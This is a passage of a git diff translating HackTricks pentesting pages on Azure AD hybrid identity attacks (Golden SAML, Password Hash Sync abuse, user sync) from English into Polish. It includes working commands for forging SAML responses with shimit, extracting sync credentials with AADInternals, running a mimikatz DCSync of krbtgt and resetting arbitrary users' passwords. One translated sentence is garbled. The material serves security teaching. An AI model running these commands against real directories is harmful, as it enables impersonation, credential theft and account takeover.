niezbędna. To konto musi być podatne na modyfikację danymi konta ofiary i powinno być również dostępne do uwierzytelnienia. +- Identyfikacja **docelowego konta ofiary** w Active Directory jest koniecznością. Chociaż atak można przeprowadzić na dowolnym koncie już zsynchronizowanym, tenant Azure AD nie może mieć zreplikowanych lokalnych identyfikatorów zabezpieczeń, co wymaga modyfikacji konta niesynchronizowanego, aby uzyskać bilet. +- Dodatkowo, to konto powinno posiadać uprawnienia równoważne uprawnieniom administratora domeny, ale nie powinno być członkiem typowych grup administratorów AD, aby uniknąć generowania nieprawidłowych TGT przez AzureAD RODC. +- Najlepszym celem jest **konto Active Directory używane przez usługę synchronizacji AD Connect**. To konto nie jest synchronizowane z Azure AD, co czyni jego SID odpowiednim celem, a z racji swojej roli w synchronizacji haszy haseł (zakładając, że synchronizacja haszy haseł jest aktywna) ma z natury uprawnienia równoważne uprawnieniom Domain Admin. Dla domen z ekspresową instalacją, to konto jest poprzedzone **MSOL\_**. W innych przypadkach konto można zidentyfikować, enumerując wszystkie konta obdarzone uprawnieniami replikacji katalogu na obiekcie domeny. -### The full attack +### Pełny atak -Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +Sprawdź to w oryginalnym poście: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 593b0222a..388873533 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -2,12 +2,8 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**Sprawdź technikę w:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) i [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post. +Post na blogu omawia lukę w eskalacji uprawnień w Azure AD, która pozwala administratorom aplikacji lub skompromitowanym kontom synchronizacji lokalnej na eskalację uprawnień poprzez przypisywanie poświadczeń do aplikacji. Luka, wynikająca z "zaplanowanego" zachowania Azure AD w zakresie obsługi aplikacji i głównych użytkowników usług, szczególnie dotyczy domyślnych aplikacji Office 365. Chociaż zgłoszona, kwestia ta nie jest uważana za lukę przez Microsoft z powodu dokumentacji dotyczącej przypisywania praw administratora. Post dostarcza szczegółowych informacji technicznych i zaleca regularne przeglądy poświadczeń głównych użytkowników usług w środowiskach Azure AD. Aby uzyskać bardziej szczegółowe informacje, możesz odwiedzić oryginalny post na blogu. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 4af67011b..561334028 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -1,36 +1,30 @@ -# Az- Synchronising New Users +# Az- Synchronizacja nowych użytkowników {{#include ../../../../banners/hacktricks-training.md}} -## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD +## Synchronizacja użytkowników AzureAD do on-prem w celu eskalacji z on-prem do AzureAD -I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements: - -- The **AzureAD user** needs to have a proxy address (a **mailbox**) -- License is not required -- Should **not be already synced** +Aby zsynchronizować nowego użytkownika **z AzureAD do on-prem AD**, należy spełnić następujące wymagania: +- Użytkownik **AzureAD** musi mieć adres proxy (**skrzynkę pocztową**) +- Licencja nie jest wymagana +- Nie powinien **być już zsynchronizowany** ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` +Kiedy użytkownik taki jak ten zostanie znaleziony w AzureAD, aby **uzyskać do niego dostęp z on-prem AD**, wystarczy **utworzyć nowe konto** z **proxyAddress** jako SMTP email. -When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email. - -An automatically, this user will be **synced from AzureAD to the on-prem AD user**. +Automatycznie, ten użytkownik zostanie **zsynchronizowany z AzureAD do on-prem AD**. > [!CAUTION] -> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**. +> Zauważ, że aby przeprowadzić ten atak, **nie potrzebujesz uprawnień Domain Admin**, wystarczy, że masz uprawnienia do **tworzenia nowych użytkowników**. > -> Also, this **won't bypass MFA**. +> Ponadto, to **nie obejdzie MFA**. > -> Moreover, this was reported an **account sync is no longer possible for admin accounts**. +> Co więcej, zgłoszono, że **synchronizacja kont nie jest już możliwa dla kont administratorów**. ## References - [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 480c5f22b..6fde9e8a4 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -2,34 +2,34 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** is a collection of **domains** that have established **trust**. The level of trust may vary, but typically includes **authentication** and almost always includes **authorization**. A typical federation might include a **number of organizations** that have established **trust** for **shared access** to a set of resources. +[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federacja** to zbiór **domen**, które nawiązały **zaufanie**. Poziom zaufania może się różnić, ale zazwyczaj obejmuje **uwierzytelnianie** i prawie zawsze obejmuje **autoryzację**. Typowa federacja może obejmować **liczne organizacje**, które nawiązały **zaufanie** do **wspólnego dostępu** do zestawu zasobów. -You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available. +Możesz **federować swoje lokalne** środowisko **z Azure AD** i używać tej federacji do uwierzytelniania i autoryzacji. Ta metoda logowania zapewnia, że wszystkie **uwierzytelnienia użytkowników odbywają się lokalnie**. Ta metoda pozwala administratorom na wdrożenie bardziej rygorystycznych poziomów kontroli dostępu. Federacja z **AD FS** i PingFederate jest dostępna.
-Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**. +W zasadzie, w Federacji, wszystkie **uwierzytelnienia** odbywają się w **lokalnym** środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą **uzyskiwać dostęp** do **aplikacji w chmurze** używając swoich **lokalnych poświadczeń**. -**Security Assertion Markup Language (SAML)** is used for **exchanging** all the authentication and authorization **information** between the providers. +**Security Assertion Markup Language (SAML)** jest używany do **wymiany** wszystkich informacji o uwierzytelnianiu i autoryzacji między dostawcami. -In any federation setup there are three parties: +W każdej konfiguracji federacji są trzy strony: -- User or Client -- Identity Provider (IdP) -- Service Provider (SP) +- Użytkownik lub Klient +- Dostawca tożsamości (IdP) +- Dostawca usług (SP) -(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +(Obrazy z https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
-1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation. -2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP. -3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user. -4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service. +1. Początkowo aplikacja (Dostawca usług lub SP, taka jak konsola AWS lub klient webowy vSphere) jest dostępna dla użytkownika. Ten krok może być pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca tożsamości) w zależności od konkretnej implementacji. +2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelnienia użytkownika. Następnie tworzy żądanie AuthnRequest SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP. +3. IdP przejmuje, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika. +4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To kończy proces logowania, umożliwiając użytkownikowi korzystanie z usługi. -**If you want to learn more about SAML authentication and common attacks go to:** +**Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i powszechnych atakach, przejdź do:** {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -37,54 +37,53 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting -- AD FS is a claims-based identity model. -- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet." -- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP. -- A user is identified by ImmutableID. It is globally unique and stored in Azure AD. -- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user. -- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) +- AD FS to model tożsamości oparty na roszczeniach. +- "..roszczenia to po prostu stwierdzenia (na przykład, imię, tożsamość, grupa), dotyczące użytkowników, które są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się wszędzie w Internecie." +- Roszczenia dla użytkownika są zapisane w tokenach SAML i są następnie podpisywane, aby zapewnić poufność przez IdP. +- Użytkownik jest identyfikowany przez ImmutableID. Jest globalnie unikalny i przechowywany w Azure AD. +- ImmutableID jest przechowywany lokalnie jako ms-DS-ConsistencyGuid dla użytkownika i/lub może być wyprowadzony z GUID użytkownika. +- Więcej informacji w [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) -**Golden SAML attack:** +**Atak Golden SAML:** -- In ADFS, SAML Response is signed by a token-signing certificate. -- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD! -- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response. -- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine. -- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +- W ADFS, SAML Response jest podpisywany przez certyfikat podpisywania tokenów. +- Jeśli certyfikat zostanie skompromitowany, możliwe jest uwierzytelnienie do Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD! +- Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego efektu, ponieważ fałszujemy odpowiedź uwierzytelniającą. +- Certyfikat można wyodrębnić z serwera AD FS z uprawnieniami DA, a następnie można go używać z dowolnej maszyny podłączonej do internetu. +- Więcej informacji w [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -The process where an **Identity Provider (IdP)** produces a **SAMLResponse** to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the **response** might be **signed** or **encrypted** using the **IdP's private key**. This procedure enables the **Service Provider (SP)** to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP. +Proces, w którym **Dostawca tożsamości (IdP)** produkuje **SAMLResponse** w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, **odpowiedź** może być **podpisana** lub **szyfrowana** przy użyciu **prywatnego klucza IdP**. Procedura ta umożliwia **Dostawcy usług (SP)** potwierdzenie autentyczności SAMLResponse, zapewniając, że rzeczywiście została wydana przez zaufany IdP. -A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to **forge an authentication object** (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP. +Można to porównać z [atakiem na złoty bilet](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisywania tokenów dla złotego SAML) może być manipulowany w celu **fałszowania obiektu uwierzytelniającego** (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, przyznając nieautoryzowany dostęp do SP. -Golden SAMLs offer certain advantages: +Złote SAML oferują pewne zalety: -- They can be **created remotely**, without the need to be part of the domain or federation in question. -- They remain effective even with **Two-Factor Authentication (2FA)** enabled. -- The token-signing **private key does not automatically renew**. -- **Changing a user’s password does not invalidate** an already generated SAML. +- Mogą być **tworzone zdalnie**, bez potrzeby bycia częścią domeny lub federacji. +- Pozostają skuteczne nawet przy włączonym **uwierzytelnianiu dwuskładnikowym (2FA)**. +- Prywatny klucz podpisywania **tokenów nie odnawia się automatycznie**. +- **Zmiana hasła użytkownika nie unieważnia** już wygenerowanego SAML. #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation. +[Usługi Federacji Active Directory (AD FS)]() to usługa Microsoftu, która ułatwia **bezpieczną wymianę informacji o tożsamości** między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala usłudze domeny na dzielenie się tożsamościami użytkowników z innymi dostawcami usług w ramach federacji. -With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key. +Z AWS ufającym skompromitowanej domenie (w federacji), ta luka może być wykorzystana do potencjalnego **zdobycia dowolnych uprawnień w środowisku AWS**. Atak wymaga **prywatnego klucza używanego do podpisywania obiektów SAML**, podobnie jak w przypadku potrzeby KRBTGT w ataku na złoty bilet. Dostęp do konta użytkownika AD FS jest wystarczający, aby uzyskać ten prywatny klucz. -The requirements for executing a golden SAML attack include: +Wymagania do przeprowadzenia ataku Golden SAML obejmują: -- **Token-signing private key** -- **IdP public certificate** -- **IdP name** -- **Role name (role to assume)** -- Domain\username -- Role session name in AWS -- Amazon account ID +- **Prywatny klucz podpisywania tokenów** +- **Publiczny certyfikat IdP** +- **Nazwa IdP** +- **Nazwa roli (rola do przyjęcia)** +- Domen\username +- Nazwa sesji roli w AWS +- Identyfikator konta Amazon -_Only the items in bold are mandatory. The others can be filled in as desired._ - -To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user: +_Tylko elementy pogrubione są obowiązkowe. Pozostałe można wypełnić według uznania._ +Aby uzyskać **prywatny klucz**, konieczny jest dostęp do **konta użytkownika AD FS**. Stamtąd prywatny klucz można **wyeksportować z osobistego magazynu** za pomocą narzędzi takich jak [mimikatz](https://github.com/gentilkiwi/mimikatz). Aby zebrać inne wymagane informacje, możesz wykorzystać snapin Microsoft.Adfs.Powershell w następujący sposób, upewniając się, że jesteś zalogowany jako użytkownik ADFS: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -98,9 +97,7 @@ To acquire the **private key**, access to the **AD FS user account** is necessar # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` - -With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:** - +Z wszystkimi informacjami możliwe jest zapomnienie o ważnym SAMLResponse jako użytkownik, którego chcesz udawać, używając [**shimit**](https://github.com/cyberark/shimit)**:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 @@ -115,11 +112,9 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - # Save SAMLResponse to file python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml ``` -
-### On-prem -> cloud - +### On-prem -> chmura ```powershell # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -138,9 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` - -It's also possible to create ImmutableID of cloud only users and impersonate them - +Możliwe jest również utworzenie ImmutableID użytkowników tylko w chmurze i ich podszywanie się. ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) @@ -152,14 +145,9 @@ Export-AADIntADFSSigningCertificate # Impersonate the user Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose ``` - -## References +## Odniesienia - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed) - [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 0bf61effe..55a2fc8e2 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -1,46 +1,45 @@ -# Az - PHS - Password Hash Sync +# Az - PHS - Synchronizacja haszy haseł {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance. +[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Synchronizacja haszy haseł** jest jedną z metod logowania używanych do osiągnięcia hybrydowej tożsamości. **Azure AD Connect** synchronizuje hash, hasza, hasła użytkownika z lokalnej instancji Active Directory do opartej na chmurze instancji Azure AD.
-It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD. +To **najczęściej stosowana metoda** używana przez firmy do synchronizacji lokalnego AD z Azure AD. -All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\ -Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD. +Wszystkie **użytkownicy** oraz **hash haszy haseł** są synchronizowane z lokalnego AD do Azure AD. Jednak **hasła w postaci czystego tekstu** ani **oryginalne** **hasze** nie są wysyłane do Azure AD.\ +Co więcej, **Wbudowane** grupy zabezpieczeń (jak administratorzy domeny...) **nie są synchronizowane** z Azure AD. -The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password. +**Synchronizacja haszy** odbywa się co **2 minuty**. Jednak domyślnie **wygasanie haseł** i **wygasanie kont** **nie są synchronizowane** w Azure AD. Tak więc użytkownik, którego **lokalne hasło wygasło** (nie zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** za pomocą starego hasła. -When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**. +Gdy lokalny użytkownik chce uzyskać dostęp do zasobu Azure, **uwierzytelnienie odbywa się w Azure AD**. -**PHS** is required for features like **Identity Protection** and AAD Domain Services. +**PHS** jest wymagany do funkcji takich jak **Ochrona tożsamości** i usługi domenowe AAD. ## Pivoting -When PHS is configured some **privileged accounts** are automatically **created**: +Gdy PHS jest skonfigurowany, niektóre **uprzywilejowane konta** są automatycznie **tworzone**: -- The account **`MSOL_`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**. -- An account **`Sync__installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD. +- Konto **`MSOL_`** jest automatycznie tworzone w lokalnym AD. To konto otrzymuje rolę **Konta synchronizacji katalogu** (zobacz [dokumentację](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), co oznacza, że ma **uprawnienia replikacji (DCSync) w lokalnym AD**. +- Konto **`Sync__installationID`** jest tworzone w Azure AD. To konto może **resetować hasło DOWOLNEGO użytkownika** (synchronizowanego lub tylko w chmurze) w Azure AD. -Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\ -The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. +Hasła dwóch poprzednich uprzywilejowanych kont są **przechowywane w serwerze SQL** na serwerze, na którym **zainstalowano Azure AD Connect.** Administratorzy mogą wydobyć hasła tych uprzywilejowanych użytkowników w postaci czystego tekstu.\ +Baza danych znajduje się w `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. -It's possible to extract the configuration from one of the tables, being one encrypted: +Możliwe jest wydobycie konfiguracji z jednej z tabel, będącej jedną zaszyfrowaną: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD. +**Zaszyfrowana konfiguracja** jest zaszyfrowana za pomocą **DPAPI** i zawiera **hasła użytkowników `MSOL_*`** w lokalnym AD oraz hasło **Sync\_\*** w AzureAD. Dlatego kompromitując te hasła, możliwe jest uzyskanie podwyższonych uprawnień do AD i AzureAD. -You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg). +Możesz znaleźć [pełny przegląd tego, jak te poświadczenia są przechowywane i odszyfrowywane w tej prezentacji](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Finding the **Azure AD connect server** - -If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with: +### Znalezienie **serwera Azure AD connect** +Jeśli **serwer, na którym zainstalowano Azure AD connect** jest dołączony do domeny (zalecane w dokumentacji), można go znaleźć za pomocą: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -48,9 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` - -### Abusing MSOL\_\* - +### Wykorzystywanie MSOL\_\* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -59,14 +56,12 @@ Get-AADIntSyncCredentials runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` - > [!CAUTION] -> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials. +> Możesz również użyć [**adconnectdump**](https://github.com/dirkjanm/adconnectdump), aby uzyskać te poświadczenia. -### Abusing Sync\_\* - -Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators) +### Wykorzystywanie Sync\_\* +Kompromitując konto **`Sync_*`**, możliwe jest **zresetowanie hasła** dowolnego użytkownika (w tym Globalnych Administratorów) ```powershell # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -87,9 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` - -It's also possible to **modify the passwords of only cloud** users (even if that's unexpected) - +Możliwe jest również **zmienienie haseł tylko użytkowników chmurowych** (nawet jeśli to nieoczekiwane) ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -98,15 +91,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` - -It's also possible to dump the password of this user. +Możliwe jest również zrzucenie hasła tego użytkownika. > [!CAUTION] -> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc. +> Inną opcją byłoby **przyznanie uprawnień uprzywilejowanych dla principal usługi**, co użytkownik **Sync** ma **uprawnienia** do zrobienia, a następnie **uzyskanie dostępu do tej principal usługi** jako sposób na privesc. ### Seamless SSO -It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in: +Możliwe jest użycie Seamless SSO z PHS, które jest podatne na inne nadużycia. Sprawdź to w: {{#ref}} seamless-sso.md @@ -120,7 +112,3 @@ seamless-sso.md - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index f6edf1214..cc1fdbd36 100644 --- 